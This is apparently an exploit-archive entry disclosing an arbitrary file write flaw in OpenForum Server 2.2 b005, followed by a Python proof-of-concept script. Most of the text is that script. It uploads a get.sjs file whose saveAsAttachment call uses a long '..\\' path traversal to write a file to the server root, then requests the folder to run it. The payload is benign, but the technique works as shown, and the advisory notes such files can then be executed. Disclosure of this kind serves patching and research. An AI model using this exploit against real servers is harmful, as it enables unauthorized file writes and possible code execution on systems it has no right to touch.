92 lines
6.1 KiB
JavaScript
Executable file
92 lines
6.1 KiB
JavaScript
Executable file
source: http://www.securityfocus.com/bid/40364/info
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OpenForum is prone to a vulnerability that may allow remote attackers to create arbitrary files on a vulnerable system.
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Successful exploits will allow an attacker to create arbitrary files, which may then be executed to perform unauthorized actions. This may aid in further attacks.
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OpenForum 2.2 b005 is vulnerable; other versions may also be affected.
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#============================================================================================================#
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# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #
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# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #
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# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #
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# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #
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# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #
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# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #
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# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #
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# #
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#============================================================================================================#
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# #
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# Vulnerability............Arbitrary File Write #
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# Software.................Open Forum Server 2.2 b005 #
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# Download.................http://code.google.com/p/open-forum #
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# Date.....................5/23/10 #
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# #
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#============================================================================================================#
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# #
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# Site.....................http://cross-site-scripting.blogspot.com/ #
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# Email....................john.leitch5@gmail.com #
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# #
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#============================================================================================================#
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# #
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# ##Description## #
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# #
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# An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be #
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# exploited to write to the local file system of the server. #
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# #
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# #
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# ##Exploit## #
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# #
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# Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder. #
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# #
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# #
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# ##Proof of Concept## #
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# #
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import sys, socket
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host = 'localhost'
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port = 80
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def send_request(request):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.settimeout(32) # sometimes it takes a while
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s.connect((host, port))
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s.send(request)
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response = s.recv(8192) + s.recv(8192) # a hack within a hack
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return response
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def write_file():
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try:
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content = '----x--\r\n'\
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'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\
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'Content-Type: application/octet-stream\r\n\r\n'\
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'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\
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'data = "hello, world";\r\n'\
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'user = transaction.getUser();\r\n'\
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'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\
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'transaction.sendPage("File Written");\r\n\r\n'\
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'----x----\r\n'
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response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n'
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'Host: ' + host + '\r\n'
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'Content-Type: multipart/form-data; boundary=--x--\r\n'
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'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content)
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if 'HTTP/1.1 302 Redirect' not in response:
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print 'Error writing get.sjs'
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return
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else: print 'get.sjs created'
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response = send_request('GET OpenForum HTTP/1.1\r\n'
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'Host: ' + host + '\r\n\r\n')
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if 'File Written' not in response:
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print 'Error writing to root'
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return
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else: print 'x.txt created in root'
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except Exception:
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print sys.exc_info()
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write_file()
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